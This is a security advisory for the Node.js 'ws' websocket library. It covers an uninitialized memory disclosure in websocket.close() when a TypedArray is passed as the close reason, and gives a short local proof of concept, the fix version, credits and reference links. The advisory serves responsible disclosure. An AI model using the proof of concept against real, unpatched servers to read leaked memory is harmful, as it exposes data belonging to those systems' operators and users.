ws: Uninitialized memory disclosure

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

• https://github.com/advisories/GHSA-58qx-3vcg-4xpx
• https://www.cve.org/CVERecord?id=CVE-2026-45736